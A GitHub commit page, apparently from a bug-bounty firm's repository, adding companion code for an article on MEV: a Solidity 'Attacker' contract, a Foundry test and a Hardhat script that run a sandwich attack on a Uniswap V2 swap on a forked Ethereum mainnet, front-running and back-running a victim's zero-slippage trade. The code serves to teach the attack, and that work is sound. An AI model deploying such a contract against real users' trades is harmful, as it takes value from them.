-
Notifications
You must be signed in to change notification settings - Fork 16
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #4 from immunefi-team/mev-article
Added MEV article code
- Loading branch information
Showing
4 changed files
with
299 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,61 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.9; | ||
|
||
// Uncomment this line to use console.log | ||
// import "hardhat/console.sol"; | ||
|
||
interface IUniswapV2Router { | ||
function swapExactTokensForTokens( | ||
uint amountIn, | ||
uint amountOutMin, | ||
address[] calldata path, | ||
address to, | ||
uint deadline | ||
) external returns (uint[] memory amounts); | ||
} | ||
|
||
interface IERC20 { | ||
function balanceOf(address owner)external view returns(uint256); | ||
function approve(address spender, uint256 amount)external; | ||
} | ||
|
||
contract Attacker { | ||
IUniswapV2Router public Router2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); | ||
|
||
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // token0 | ||
IERC20 public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token1 | ||
|
||
constructor() { | ||
USDC.approve(address(Router2), type(uint256).max); | ||
WETH.approve(address(Router2), type(uint256).max); | ||
} | ||
|
||
function firstSwap(uint256 amount)external { | ||
address[] memory path = new address[](2); | ||
//Swap from WETH to USDC | ||
path[0] = address(WETH); | ||
path[1] = address(USDC); | ||
|
||
Router2.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4200); | ||
} | ||
|
||
function secondSwap()external { | ||
address[] memory path = new address[](2); | ||
//Swap from USDC to WETH | ||
path[0] = address(USDC); | ||
path[1] = address(WETH); | ||
|
||
uint256 amount = USDC.balanceOf(address(this)); | ||
|
||
Router2.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4200); | ||
} | ||
|
||
function getUSDCBalance(address user)external view returns(uint256 result) { | ||
return USDC.balanceOf(user); | ||
} | ||
|
||
function getWETHBalance(address user)external view returns(uint256 result) { | ||
return WETH.balanceOf(user); | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,69 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.13; | ||
|
||
import "forge-std/Test.sol"; | ||
import "../src/Attacker.sol"; | ||
|
||
contract Sandwich is Test { | ||
Attacker public attacker; | ||
address public victim; | ||
|
||
string RPC_URL = "https://rpc.ankr.com/eth"; | ||
|
||
uint256 mainnetfork; | ||
|
||
IUniswapV2Router public Router2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); | ||
|
||
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // token0 | ||
IERC20 public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token1 | ||
|
||
function setUp() public { | ||
mainnetfork = vm.createFork(RPC_URL); | ||
vm.selectFork(mainnetfork); | ||
vm.rollFork(17626926); | ||
|
||
victim = vm.addr(1); | ||
|
||
attacker = new Attacker(); | ||
|
||
deal(address(WETH), victim, 1_000*1e18); // victim initial balance | ||
deal(address(WETH), address(attacker), 1_000*1e18); // attacker initial balance | ||
} | ||
|
||
function _frontrun() internal { | ||
attacker.firstSwap(WETH.balanceOf(address(attacker))); | ||
} | ||
|
||
function _victim() internal { | ||
vm.startPrank(victim); | ||
WETH.approve(address(Router2), type(uint256).max); | ||
|
||
address[] memory path = new address[](2); | ||
//Swap from WETH to USDC | ||
path[0] = address(WETH); | ||
path[1] = address(USDC); | ||
|
||
Router2.swapExactTokensForTokens(WETH.balanceOf(victim), 0, path, victim, block.timestamp + 4200); // the second parameter set to 0, to make it frontrunnable | ||
|
||
vm.stopPrank(); | ||
} | ||
|
||
function _backun() internal { | ||
attacker.secondSwap(USDC.balanceOf(address(attacker))); | ||
} | ||
|
||
function testSandwich()public { | ||
console.log("USDC Balance before (attacker) = ", attacker.getUSDCBalance(address(attacker))); | ||
console.log("WETH Balance before (attacker) = ", attacker.getWETHBalance(address(attacker))); | ||
console.log("USDC Balance before (victim) = ", attacker.getUSDCBalance(victim)); | ||
console.log("WETH Balance before (victim) = ", attacker.getWETHBalance(victim)); | ||
_frontrun(); | ||
_victim(); | ||
_backun(); | ||
console.log("USDC Balance after (attacker) = ", attacker.getUSDCBalance(address(attacker))); | ||
console.log("WETH Balance after (attacker) = ", attacker.getWETHBalance(address(attacker))); | ||
console.log("USDC Balance after (victim) = ", attacker.getUSDCBalance(victim)); | ||
console.log("WETH Balance after (victim) = ", attacker.getWETHBalance(victim)); | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,168 @@ | ||
// We require the Hardhat Runtime Environment explicitly here. This is optional | ||
// but useful for running the script in a standalone fashion through `node <script>`. | ||
// | ||
// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat | ||
// will compile your contracts, add the Hardhat Runtime Environment's members to the | ||
// global scope, and execute the script. | ||
const { network, ethers } = require("hardhat"); | ||
const hre = require("hardhat"); | ||
|
||
async function main() { | ||
|
||
// Fork the mainnet | ||
await hre.network.provider.request({ | ||
method: "hardhat_reset", | ||
params: [{ | ||
forking: { | ||
jsonRpcUrl: "https://rpc.ankr.com/eth" | ||
,blockNumber: 17626926 | ||
} | ||
}] | ||
}) | ||
|
||
|
||
// Sets important vars to be use to demonstrate an MEV sandwich attack | ||
const WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"; | ||
const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; | ||
const Router = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D"; | ||
const [maliciousUser, victim] = await ethers.getSigners(); | ||
const amount = 1000000000000000000000; // 1_000 ETH | ||
|
||
///////////////////////////////////////////////////////////////////////// | ||
////// This Section of code responsible for balance manipulation //////// | ||
///////////////////////////////////////////////////////////////////////// | ||
const toBytes32 = (bn) => { | ||
return ethers.hexlify(ethers.zeroPadValue(ethers.toBeHex(BigInt(bn)), 32)); | ||
}; | ||
const setStorageAt = async (address, index, value) => { | ||
await ethers.provider.send("hardhat_setStorageAt", [address, index, value]); | ||
}; | ||
///////////////////////////////////////////////////////////////////////// | ||
|
||
|
||
// Deploy the code | ||
const attacker = await ethers.deployContract("Attacker"); | ||
const maliciousContract = await attacker.getAddress(); | ||
console.log("Malicious contract:", maliciousContract); | ||
|
||
|
||
//Manipulate Attacker contract balance to 1_000 WETH | ||
const AttackerIndex = ethers.solidityPackedKeccak256(["uint256", "uint256"], [maliciousContract, 3]); // key, slot | ||
await setStorageAt( | ||
WETH, | ||
AttackerIndex, | ||
toBytes32(amount).toString() | ||
); | ||
|
||
//Manipulate Victim balance to 1_000 WETH | ||
const VictimIndex = ethers.solidityPackedKeccak256(["uint256", "uint256"], [victim.address, 3]); // key, slot | ||
await setStorageAt( | ||
WETH, | ||
VictimIndex, | ||
toBytes32(amount).toString() | ||
); | ||
|
||
/////////////////////////////////////////////////////////////////////////////////////////////////////// | ||
////// This Section of code responsible logging victim and attacker malicious contract balnace //////// | ||
/////////////////////////////////////////////////////////////////////////////////////////////////////// | ||
console.log("attacker contract address = ", ethers.getAddress(maliciousContract)); | ||
const attackerUSDCBalanceBefore = await attacker.getUSDCBalance(maliciousContract); | ||
const attackerWETHBalanceBefore = await attacker.getWETHBalance(maliciousContract); | ||
|
||
console.log("USDC Balance Before (attacker) = ", BigInt(attackerUSDCBalanceBefore).toString()); | ||
console.log("WETH Balance Before (attacker) = ", BigInt(attackerWETHBalanceBefore).toString()); | ||
|
||
const victimUSDCBalanceBefore = await attacker.getUSDCBalance(victim.address); | ||
const victimWETHBalanceVictim = await attacker.getWETHBalance(victim.address); | ||
|
||
console.log("USDC Balance Before (victim) = ", BigInt(victimUSDCBalanceBefore).toString()); | ||
console.log("WETH Balance Before (victim) = ", BigInt(victimWETHBalanceVictim).toString()); | ||
/////////////////////////////////////////////////////////////////////////////////////////////////////// | ||
|
||
|
||
// Victim make an approval transaction, to give approval to router contract | ||
const approveFunctionName = "approve"; | ||
const IERC20Interface = new ethers.Interface([ | ||
"function approve(address spender, uint256 amount) public" | ||
]); | ||
const approveParams = [ | ||
Router, | ||
BigInt(amount) | ||
] | ||
await victim.sendTransaction({ | ||
to: WETH, | ||
data: IERC20Interface.encodeFunctionData(approveFunctionName, approveParams) | ||
}); | ||
|
||
|
||
// set the mining behavior to false, so the transaction will be collected in the mempool, before finalization | ||
await network.provider.send("evm_setAutomine", [false]); | ||
|
||
///////////////////////////////////////////////////////////////////////// | ||
//////////// Victim made the transaction to swap their WETH ///////////// | ||
///////////////////////////////////////////////////////////////////////// | ||
const functionName = "swapExactTokensForTokens"; | ||
const block = await ethers.provider.getBlock(17626926); | ||
const params = [ | ||
BigInt(amount), // amount in | ||
BigInt(0), // min amount out | ||
[ | ||
WETH, // Asset in | ||
USDC // Asset out | ||
], | ||
victim.address, // Receiving address | ||
block.timestamp + 7200 // Deadline | ||
]; | ||
const routerInterface = new ethers.Interface([ | ||
"function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) public" | ||
]); | ||
await victim.sendTransaction({ | ||
to: Router, | ||
data: routerInterface.encodeFunctionData(functionName, params), | ||
gasLimit: 500000, | ||
gasPrice: ethers.parseUnits("100", "gwei") | ||
}); | ||
///////////////////////////////////////////////////////////////////////// | ||
|
||
// Attacker frontrun the transaction, by inflating gasPrice args | ||
await attacker.connect(maliciousUser).firstSwap(BigInt(amount), {gasLimit: 500000, gasPrice: ethers.parseUnits("101", "gwei")} ); | ||
|
||
// Attacker backrun the victim transaction, by lowering the gasPrice args | ||
await attacker.connect(maliciousUser).secondSwap( {gasLimit: 500000, gasPrice: ethers.parseUnits("99", "gwei")} ); | ||
|
||
// log the pending transaction that will be included in the next block by using the pending block tag | ||
const pendingBlock = await network.provider.send("eth_getBlockByNumber", [ | ||
"pending", | ||
false, | ||
]); | ||
console.log("\n Pending Block = " , pendingBlock); | ||
|
||
// Manually mine the block | ||
await ethers.provider.send("evm_mine", []); | ||
|
||
|
||
/////////////////////////////////////////////////////////////////////////////////////////////////////// | ||
////// This Section of code responsible logging victim and attacker malicious contract balnace //////// | ||
/////////////////////////////////////////////////////////////////////////////////////////////////////// | ||
const attackerUSDCBalanceAfter = await attacker.getUSDCBalance(maliciousContract); | ||
const attackerWETHBalanceAfter = await attacker.getWETHBalance(maliciousContract); | ||
|
||
console.log("USDC Balance After (attacker) = ", BigInt(attackerUSDCBalanceAfter).toString()); | ||
console.log("WETH Balance After (attacker) = ", BigInt(attackerWETHBalanceAfter).toString()); | ||
|
||
const victimUSDCBalanceAfter = await attacker.getUSDCBalance(victim.address); | ||
const victimWETHBalanceAfter = await attacker.getWETHBalance(victim.address); | ||
|
||
console.log("USDC Balance After (victim) = ", BigInt(victimUSDCBalanceAfter).toString()); | ||
console.log("WETH Balance After (victim) = ", BigInt(victimWETHBalanceAfter).toString()); | ||
/////////////////////////////////////////////////////////////////////////////////////////////////////// | ||
|
||
|
||
} | ||
|
||
// We recommend this pattern to be able to use async/await everywhere | ||
// and properly handle errors. | ||
main().catch((error) => { | ||
console.error(error); | ||
process.exitCode = 1; | ||
}); |